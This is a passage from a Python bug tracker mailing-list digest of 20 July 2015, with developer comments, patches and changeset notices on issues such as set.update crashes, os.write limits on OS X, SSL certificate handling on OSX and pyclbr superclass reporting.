Issue #24583: Fix refcount leak.
https://hg.python.org/cpython/rev/acb5b177dd4e

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:24:26 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 20 Jul 2015 05:24:26 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <1437369866.42.0.280287245219.issue24583@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

AFAIK 3.5+ (not tested).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:32:53 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 20 Jul 2015 05:32:53 +0000
Subject: [issue5315] signal handler never gets called
In-Reply-To: <1235051228.14.0.0909837566577.issue5315@psf.upfronthosting.co.za>
Message-ID: <1437370373.7.0.0903253398925.issue5315@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

This was turned into a doc issue, with no patch forthcoming, but Devin has submitted a bugfix.  Should this be turned back into a bug issue?

----------
nosy: +terry.reedy
stage:  -> patch review
versions: +Python 3.4, Python 3.5, Python 3.6 -Python 2.6, Python 3.1, Python 3.2

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:34:26 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 20 Jul 2015 05:34:26 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <1437370466.85.0.112904908921.issue24583@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Added a patch to neaten it up a bit by naming the exit conditions and avoiding the unnecessary extra incref/decref pair around the resize call.

----------
Added file: http://bugs.python.org/file39956/set_named_exits.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:55:57 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 20 Jul 2015 05:55:57 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <1437371757.66.0.482833631069.issue24583@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Added a variant patch that brings the steps together in a more logical manner (single entry point at the top and the named exits at the bottom, brings refcount adjustment logic together in a more coherent way).  The "restart" target is done the same way as the "top" target in dictobject.c.   Added a comment explaining why the pre-increment is necessary.

----------
Added file: http://bugs.python.org/file39957/set_self_contained.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 09:11:26 2015
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 20 Jul 2015 07:11:26 +0000
Subject: [issue19663] Not so correct error message when initializing
 defaultdict
In-Reply-To: <1384964745.34.0.550819526657.issue19663@psf.upfronthosting.co.za>
Message-ID: <20150720071123.23357.26862@psf.io>


Roundup Robot added the comment:

New changeset efda1eaf86a3 by Raymond Hettinger in branch '3.4':
Issue #19663: Improve error message for defaultdict.
https://hg.python.org/cpython/rev/efda1eaf86a3

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 09:13:40 2015
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 20 Jul 2015 07:13:40 +0000
Subject: [issue19663] Not so correct error message when initializing
 defaultdict
In-Reply-To: <1384964745.34.0.550819526657.issue19663@psf.upfronthosting.co.za>
Message-ID: <20150720071338.9964.9855@psf.io>


Roundup Robot added the comment:

New changeset d248702feab0 by Raymond Hettinger in branch '2.7':
Issue #19663: Improve error message for defaultdict.
https://hg.python.org/cpython/rev/d248702feab0

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 09:15:06 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 20 Jul 2015 07:15:06 +0000
Subject: [issue19663] Not so correct error message when initializing
 defaultdict
In-Reply-To: <1384964745.34.0.550819526657.issue19663@psf.upfronthosting.co.za>
Message-ID: <1437376506.37.0.791910443334.issue19663@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 09:23:59 2015
From: report at bugs.python.org (Daniel al. LordBlick)
Date: Mon, 20 Jul 2015 07:23:59 +0000
Subject: [issue24670] os.chdir breaks result of os.path.abspath(__file__) and
 os.path.realpath(__file__)
In-Reply-To: <1437315993.36.0.280874267638.issue24670@psf.upfronthosting.co.za>
Message-ID: <1437377039.92.0.758340259031.issue24670@psf.upfronthosting.co.za>


Changes by Daniel al. LordBlick :


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 09:27:29 2015
From: report at bugs.python.org (Martin Panter)
Date: Mon, 20 Jul 2015 07:27:29 +0000
Subject: [issue4395] Document auto __ne__ generation;
 provide a use case for non-trivial __ne__
In-Reply-To: <1227464493.77.0.130820783094.issue4395@psf.upfronthosting.co.za>
Message-ID: <1437377249.94.0.444621168853.issue4395@psf.upfronthosting.co.za>


Martin Panter added the comment:

This updated patch adds the clarification about NotImplemented.

----------
Added file: http://bugs.python.org/file39958/default-ne-reflected-priority.v4.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 10:12:44 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 20 Jul 2015 08:12:44 +0000
Subject: [issue4395] Document auto __ne__ generation;
 provide a use case for non-trivial __ne__
In-Reply-To: <1227464493.77.0.130820783094.issue4395@psf.upfronthosting.co.za>
Message-ID: <1437379964.52.0.703246119194.issue4395@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 10:23:50 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 20 Jul 2015 08:23:50 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <1437380630.67.0.433895699686.issue24583@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Both variants LGTM. But set_self_contained.diff seems better.

I suppose this is 3.6 only.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 10:40:07 2015
From: report at bugs.python.org (Steffen Kampmann)
Date: Mon, 20 Jul 2015 08:40:07 +0000
Subject: [issue24672] shutil.rmtree failes on non ascii filenames
Message-ID: <1437381607.37.0.102405626215.issue24672@psf.upfronthosting.co.za>


New submission from Steffen Kampmann:

I run python 2.7 on Windows 7 and the function rmtree of the shutil package fails to remove files with a non ascii filename:

    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 247, in rmtree    rmtree(fullname, ignore_errors, onerror)
    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 247, in rmtree    rmtree(fullname, ignore_errors, onerror)
    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 247, in rmtree    rmtree(fullname, ignore_errors, onerror)
    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 252, in rmtree    onerror(os.remove, fullname, sys.exc_info())
    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 250, in rmtree    os.remove(fullname)
  WindowsError: [Error 2] Das System kann die angegebene Datei nicht finden: 'H:\\ihre_perso\xa6\xeanlichen_Zugangsdaten600.jpg'

Please let me know if i can help with something.

----------
components: Library (Lib)
messages: 246971
nosy: Steffen Kampmann
priority: normal
severity: normal
status: open
title: shutil.rmtree failes on non ascii filenames
versions: Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 10:45:21 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 20 Jul 2015 08:45:21 +0000
Subject: [issue24670] os.chdir breaks result of os.path.abspath(__file__) and
 os.path.realpath(__file__)
In-Reply-To: <1437315993.36.0.280874267638.issue24670@psf.upfronthosting.co.za>
Message-ID: <1437381921.79.0.3452526301.issue24670@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The issue is not in os.path, but in __file__ been relative path. If you change current work directory, __file__ is no longer valid path to source file. Things are even worse with zipimport. When you will archive the script in the ZIP file and run this ZIP file, __file__ will not be a path to the source file from the start.

See also issue18416.

----------
nosy: +brett.cannon, eric.snow, ncoghlan

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 10:47:06 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 20 Jul 2015 08:47:06 +0000
Subject: [issue24672] shutil.rmtree failes on non ascii filenames
In-Reply-To: <1437381607.37.0.102405626215.issue24672@psf.upfronthosting.co.za>
Message-ID: <1437382026.2.0.190326626502.issue24672@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
components: +Windows
nosy: +haypo, paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 10:48:48 2015
From: report at bugs.python.org (Tim Golden)
Date: Mon, 20 Jul 2015 08:48:48 +0000
Subject: [issue24672] shutil.rmtree failes on non ascii filenames
In-Reply-To: <1437381607.37.0.102405626215.issue24672@psf.upfronthosting.co.za>
Message-ID: <1437382128.53.0.257367283602.issue24672@psf.upfronthosting.co.za>


Tim Golden added the comment:

Can you confirm whether it also fails if you pass in a unicode string? eg

shutil.rmtree(u"filename.txt")

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 11:58:23 2015
From: report at bugs.python.org (Tal Einat)
Date: Mon, 20 Jul 2015 09:58:23 +0000
Subject: [issue24483] Avoid repeated hash calculation in C implementation of
 functools.lru_cache()
In-Reply-To: <1434890042.2.0.0991345110525.issue24483@psf.upfronthosting.co.za>
Message-ID: <1437386303.6.0.33132193269.issue24483@psf.upfronthosting.co.za>


Tal Einat added the comment:

Ping? Let's not miss the final 3.5 beta.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 12:36:14 2015
From: report at bugs.python.org (josch)
Date: Mon, 20 Jul 2015 10:36:14 +0000
Subject: [issue24605] segmentation fault at asciilib_split_char.lto_priv
In-Reply-To: <1436533786.75.0.912431898018.issue24605@psf.upfronthosting.co.za>
Message-ID: <1437388574.01.0.35705838245.issue24605@psf.upfronthosting.co.za>


josch added the comment:

I do not see any module implemented in C in the imports. Is there a way to find out from where the segmentation fault came?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 13:05:19 2015
From: report at bugs.python.org (James Salter)
Date: Mon, 20 Jul 2015 11:05:19 +0000
Subject: [issue24673] distutils/_msvccompiler does not remove /DLL during
 link(CCompiler.EXECUTABLE)
Message-ID: <1437390319.85.0.740517640624.issue24673@psf.upfronthosting.co.za>


New submission from James Salter:

Encountered trying to build numpy with python 3.5b3, visual studio 2015.

>From distutils/_msvccompiler.py:MSVCCompiler.link:

        if self._need_link(objects, output_filename):
            ldflags = (self.ldflags_shared_debug if debug
                       else self.ldflags_shared)
            if target_desc == CCompiler.EXECUTABLE:
                ldflags = ldflags[1:]

But

        self.ldflags_shared = [
            '/nologo', '/DLL', '/INCREMENTAL:NO'
        ]
        self.ldflags_shared_debug = [
            '/nologo', '/DLL', '/INCREMENTAL:no', '/DEBUG:FULL'
        ]

Which leads to a DLL being created instead of a .exe.

I have attached a patch that explicitly removes '/DLL' rather than trimming by index.

----------
components: Distutils
files: _msvccompiler_link.patch
keywords: patch
messages: 246976
nosy: James Salter, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: distutils/_msvccompiler does not remove /DLL during link(CCompiler.EXECUTABLE)
type: compile error
versions: Python 3.5
Added file: http://bugs.python.org/file39959/_msvccompiler_link.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 13:34:13 2015
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 20 Jul 2015 11:34:13 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <20150720113410.18718.87078@psf.io>


Roundup Robot added the comment:

New changeset 3f2c12c0abdb by Raymond Hettinger in branch 'default':
Issue #24583:  Consolidate previous set object updates into a single function
https://hg.python.org/cpython/rev/3f2c12c0abdb

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 13:34:55 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 20 Jul 2015 11:34:55 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <1437392095.76.0.444453749736.issue24583@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
resolution:  -> not a bug
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 13:44:37 2015
From: report at bugs.python.org (Daniel al. LordBlick)
Date: Mon, 20 Jul 2015 11:44:37 +0000
Subject: [issue24670] os.chdir breaks result of os.path.abspath(__file__) and
 os.path.realpath(__file__)
In-Reply-To: <1437315993.36.0.280874267638.issue24670@psf.upfronthosting.co.za>
Message-ID: <1437392677.81.0.589821732424.issue24670@psf.upfronthosting.co.za>


Daniel al. LordBlick added the comment:

If so, then should be internally __file__ edit by zipimport and/or os.cwd?
It's simple string in .__dict__['__file__']?
Is exist some class representing internal file? Then any cwd operation should be wraped by it.

----------
components: +Interpreter Core

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 14:19:00 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 20 Jul 2015 12:19:00 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437192313.04.0.432492546975.issue24658@psf.upfronthosting.co.za>
Message-ID: <5F0B92E8-D269-480E-9510-94B5780261F0@mac.com>


Ronald Oussoren added the comment:

This is likely a platform bug, it fails with os.write as well.  Interestingly enough file.write works fine on Python 2.7 (which uses stdio), that appearently works around this kernel misfeature.

A possible partial workaround is recognise this error in the implementation of os.write and then perform a partial write. Problem is: while write(2) is documented as possibly writing less data than expected most users writing to normal files (as opposed to sockets) probably don?t expect that behavior. On the other hand, os.write already limits writes to INT_MAX on Windows (see _Py_write in Python/fileutils.c)

Because of this I?m in favour of adding a simular workaround on OSX (and can provide a patch).

BTW. the manpage for write says that writev(2) might fail with EINVAL:

     [EINVAL]           The sum of the iov_len values in the iov array over-
                        flows a 32-bit integer.

I wouldn?t be surprised if write(2) is implemented using writev(2) and that this explains the problem.

> On 18 Jul 2015, at 06:05, Serhiy Storchaka  wrote:
> 
> 
> Changes by Serhiy Storchaka :
> 
> 
> ----------
> components: +Extension Modules, IO -Interpreter Core
> nosy: +haypo, ned.deily, ronaldoussoren
> 
> _______________________________________
> Python tracker 
> 
> _______________________________________

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 14:19:07 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 20 Jul 2015 12:19:07 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437193330.37.0.459137852753.issue24646@psf.upfronthosting.co.za>
Message-ID: <2ECC2EA0-7944-4562-A5E6-2BA6B1E55CF2@mac.com>


Ronald Oussoren added the comment:

Using our own OpenSSL build should be saver in the long run anyway.  Apple provides enough API?s to reproduce the behaviour of Apple?s build in a cleaner way (by making the loading of system CA certs an explicit action). Problem is: that likely requires using API?s higher up in the API stack, which could cause problems when using os.fork without os.exec (the old ?CoreFoundation crashes in child processes? problem).

Ronald

> On 18 Jul 2015, at 06:22, Ned Deily  wrote:
> 
> 
> Ned Deily added the comment:
> 
>> For what it's worth, the El Capitan Beta's apparently don't ship with
>> OpenSSL headers anymore though they do still ship with the dylibs.
> 
> Hmm, I had tested installing existing python.org binary releases with the first DPs of 10.11 and I *thought* I had tested building from source, as well.  But, yes, it appears that the headers are no longer there, at least on the most recent DP I have installed.  I'm traveling and essentially "off-the-net" for another week but I will take a closer look at the situation then.
> 
> ----------
> 
> _______________________________________
> Python tracker 
> 
> _______________________________________

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 14:20:45 2015
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 20 Jul 2015 12:20:45 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>
Message-ID: <1437394845.56.0.329321454692.issue24646@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It's a platform bug but Apple doesn't consider it a bug. Hynek has analyzed and reported it over a year ago: https://hynek.me/articles/apple-openssl-verification-surprises/

----------
nosy: +christian.heimes

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 14:31:17 2015
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 20 Jul 2015 12:31:17 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>
Message-ID: <1437395477.13.0.0597116124173.issue24646@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Ronald: Can you check if SecTrustSettingsCopyCertificates() or SecTrustCopyAnchorCertificates() are affected by the fork() issue?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 14:50:28 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 20 Jul 2015 12:50:28 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>
Message-ID: <1437396628.95.0.059341454762.issue24658@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

The attached patch is a first stab at a workaround. It will unconditionally limit the write size in os.write to INT_MAX on OSX.

I haven't tested yet if this actually fixes the problem mentioned on stack overflow.

----------
keywords: +needs review, patch
stage:  -> patch review
Added file: http://bugs.python.org/file39960/issue24658.txt

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 14:53:06 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 20 Jul 2015 12:53:06 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>
Message-ID: <1437396786.22.0.51248314709.issue24646@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

I'll check, but they probably are because the use data structures from CoreFoundation.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 14:57:44 2015
From: report at bugs.python.org (Eric O. LEBIGOT)
Date: Mon, 20 Jul 2015 12:57:44 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>
Message-ID: <1437397064.47.0.188369343764.issue24658@psf.upfronthosting.co.za>


Eric O. LEBIGOT added the comment:

Thank you for looking into this, Ronald.

What does your patch do, exactly? does it only limit the returned byte count, or does it really limit the size of the data written by truncating it?

In any case, it would be very useful to have a warning from the Python interpreter. If the data is truncated, I would even prefer an explicit exception (e.g. "data too big for this platform (>= 2 GB)"), along with an explicit mention of it in the documentation. What do you think?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:00:28 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 20 Jul 2015 13:00:28 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>
Message-ID: <1437397228.67.0.590138124977.issue24646@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

BTW. I think someone (me?) should write down the problems with using higher levels in the API stack w.r.t. os.fork in a PEP-style document. This can then be used to decide whether or not we want to use such APIs in the stdlib (and if so, what should be changed to avoid crashes).

I'm slighlty in favour of using such APIs if that makes Python better on OSX, even if that introduces slight differences w.r.t. Linux (for example, multiprocessing could no longer use only os.fork).  The disadvantage is that it would no longer be possible to develop and test pre-forking code on OSX before deploying to Linux.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:05:20 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 20 Jul 2015 13:05:20 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>
Message-ID: <1437397520.67.0.873353429884.issue24658@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

The patch limits os.write to writing at most INT_MAX bytes on OSX. Buffered I/O using open("/some/file", "wb") should still write all data (at least according to the limited tests I've done so far).

The same limitation is already present on Windows.

And as I wrote before: os.write may accoding to the manpage for write(2) already write less bytes than requested.

I'm -1 on using an explicit exception or printing a warning about this.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:20:09 2015
From: report at bugs.python.org (Michael Foord)
Date: Mon, 20 Jul 2015 13:20:09 +0000
Subject: [issue24653] Mock.assert_has_calls([]) incorrectly passes
In-Reply-To: <1437126004.09.0.453747784975.issue24653@psf.upfronthosting.co.za>
Message-ID: <1437398409.65.0.844502867117.issue24653@psf.upfronthosting.co.za>


Michael Foord added the comment:

assert_has_calls checks that the calls you specified were made. So if you specify an empty list it *should* pass (or be disallowed as it has no meaning).

If you want to check that these calls and *only* those calls were made you should use something like:

    self.assertEqual(mock.mock_calls, [])

http://www.voidspace.org.uk/python/mock/mock.html#mock.Mock.assert_has_calls

Maybe a documentation improvement instead.

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:25:53 2015
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 20 Jul 2015 13:25:53 +0000
Subject: [issue15745] Numerous utime ns tests fail on FreeBSD w/ ZFS (update:
 and NetBSD w/ FFS, Solaris w/ UFS)
In-Reply-To: <1345515355.02.0.72747216818.issue15745@psf.upfronthosting.co.za>
Message-ID: <1437398753.68.0.951055237239.issue15745@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Can you please open a new issue for stat-times-deprecated.patch?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:26:41 2015
From: report at bugs.python.org (David Worenklein)
Date: Mon, 20 Jul 2015 13:26:41 +0000
Subject: [issue24674] pyclbr not recursively showing classes in packages
Message-ID: <1437398801.28.0.498074343865.issue24674@psf.upfronthosting.co.za>


New submission from David Worenklein:

In the following example, pyclbr does not report that foo.module.A is a superclass of C:

__module2.py__
import foo.module
class C(foo.module.B):
    pass

__foo/module.py__
class A(object):
    def foo(self):
        print "bar"

class B(A):
    pass

__test.py__
import pyclbr

def superclasses_of(class_data):
    classes = [ class_data ]
    super_classes = []
    while classes:
        class_data = classes.pop()
        if isinstance(class_data, basestring):
            super_classes.append(class_data)
        else:
            super_classes.append( class_data.module+'.'+class_data.name )
            for c in class_data.super:
                classes.append( c )
    return super_classes

module = pyclbr.readmodule('module2',['.','./foo'])
for class_name, class_data in module.items():
    print "%s => %s" % (class_name, superclasses_of(class_data))

__results__
C => ['foo.module.B']

I've attached a patch to pyclbr.py to fix this.

----------
files: pyclbr.patch
keywords: patch
messages: 246990
nosy: worenklein
priority: normal
severity: normal
status: open
title: pyclbr not recursively showing classes in packages
versions: Python 2.7
Added file: http://bugs.python.org/file39961/pyclbr.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:29:27 2015
From: report at bugs.python.org (David Worenklein)
Date: Mon, 20 Jul 2015 13:29:27 +0000
Subject: [issue24674] pyclbr not recursively showing classes in packages
In-Reply-To: <1437398801.28.0.498074343865.issue24674@psf.upfronthosting.co.za>
Message-ID: <1437398967.94.0.775200573505.issue24674@psf.upfronthosting.co.za>


David Worenklein added the comment:

P.S. Here are the results after the patch:
C => ['foo.module.B', 'foo.module.A', 'object']

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:33:09 2015
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 20 Jul 2015 13:33:09 +0000
Subject: [issue24605] segmentation fault at asciilib_split_char.lto_priv
In-Reply-To: <1436533786.75.0.912431898018.issue24605@psf.upfronthosting.co.za>
Message-ID: <1437399189.68.0.984376348404.issue24605@psf.upfronthosting.co.za>


STINNER Victor added the comment:

You have to search for memory corruptions. You can try to run your application with a Python compiled a debug mode. If it doesn't work, you may try Valgrind which require a Python compiled with --with-valgrind and to use the suppression file. See Misc/README.valgrind.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:33:35 2015
From: report at bugs.python.org (Eric O. LEBIGOT)
Date: Mon, 20 Jul 2015 13:33:35 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>
Message-ID: <1437399215.14.0.0475968321747.issue24658@psf.upfronthosting.co.za>


Eric O. LEBIGOT added the comment:

I see, thanks.

This sounds good to me too: no need for a warning or exception, indeed, since file.write() should work and the behavior of os.write() is documented.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 15:40:42 2015
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 20 Jul 2015 13:40:42 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>
Message-ID: <1437399642.32.0.817290895879.issue24658@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The Windows limit to INT_MAX is one many functions:

* os.write()
* io.FileIO.write()
* hum, maybe other, I don't remember

In the default branch, there is now _Py_write(), so only one place should be fixed.

See the issue #11395 which fixed the bug on Windows.

If it's a bug, it should be fixed on Python 2.7, 3.4, 3.5 and default branches.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 16:05:56 2015
From: report at bugs.python.org (Martin Panter)
Date: Mon, 20 Jul 2015 14:05:56 +0000
Subject: [issue15745] Numerous utime ns tests fail on FreeBSD w/ ZFS (update:
 and NetBSD w/ FFS, Solaris w/ UFS)
In-Reply-To: <1345515355.02.0.72747216818.issue15745@psf.upfronthosting.co.za>
Message-ID: <1437401156.37.0.750403697828.issue15745@psf.upfronthosting.co.za>


Changes by Martin Panter :


Removed file: http://bugs.python.org/file39955/stat-times-deprecated.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 16:16:53 2015
From: report at bugs.python.org (Martin Panter)
Date: Mon, 20 Jul 2015 14:16:53 +0000
Subject: [issue24675] Avoid DeprecationWarning in test_os
Message-ID: <1437401813.61.0.317279191409.issue24675@psf.upfronthosting.co.za>


New submission from Martin Panter:

This patch is to avoid the warning introduced with the changes in Issue 15745, originally described at . The code has a ?with? statement to hide the warning from os.stat_float_times(), but the warning triggers anyway because the TestCase.addCleanup() callback is triggered after the ?with? statement has exited.

----------
components: Tests
files: stat-times-deprecated.patch
keywords: patch
messages: 246995
nosy: haypo, vadmium
priority: normal
severity: normal
stage: patch review
status: open
title: Avoid DeprecationWarning in test_os
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39962/stat-times-deprecated.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 16:19:32 2015
From: report at bugs.python.org (Martin Panter)
Date: Mon, 20 Jul 2015 14:19:32 +0000
Subject: [issue15745] Numerous utime ns tests fail on FreeBSD w/ ZFS (update:
 and NetBSD w/ FFS, Solaris w/ UFS)
In-Reply-To: <1345515355.02.0.72747216818.issue15745@psf.upfronthosting.co.za>
Message-ID: <1437401972.83.0.38340716563.issue15745@psf.upfronthosting.co.za>


Martin Panter added the comment:

Okay, now at Issue 24675

----------
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 17:13:47 2015
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 20 Jul 2015 15:13:47 +0000
Subject: [issue24675] Avoid DeprecationWarning in test_os
In-Reply-To: <1437401813.61.0.317279191409.issue24675@psf.upfronthosting.co.za>
Message-ID: <20150720151343.9802.38937@psf.io>


Roundup Robot added the comment:

New changeset bc67e0030d42 by Victor Stinner in branch '3.4':
Issue #24675: Avoid DeprecationWarning in test_os
https://hg.python.org/cpython/rev/bc67e0030d42

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 17:14:19 2015
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 20 Jul 2015 15:14:19 +0000
Subject: [issue24675] Avoid DeprecationWarning in test_os
In-Reply-To: <1437401813.61.0.317279191409.issue24675@psf.upfronthosting.co.za>
Message-ID: <1437405259.72.0.286532532886.issue24675@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Thanks Martin. I applied your patch, but I replaced tearDown() with a cleanup function.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 18:25:52 2015
From: report at bugs.python.org (Ronald Oussoren)
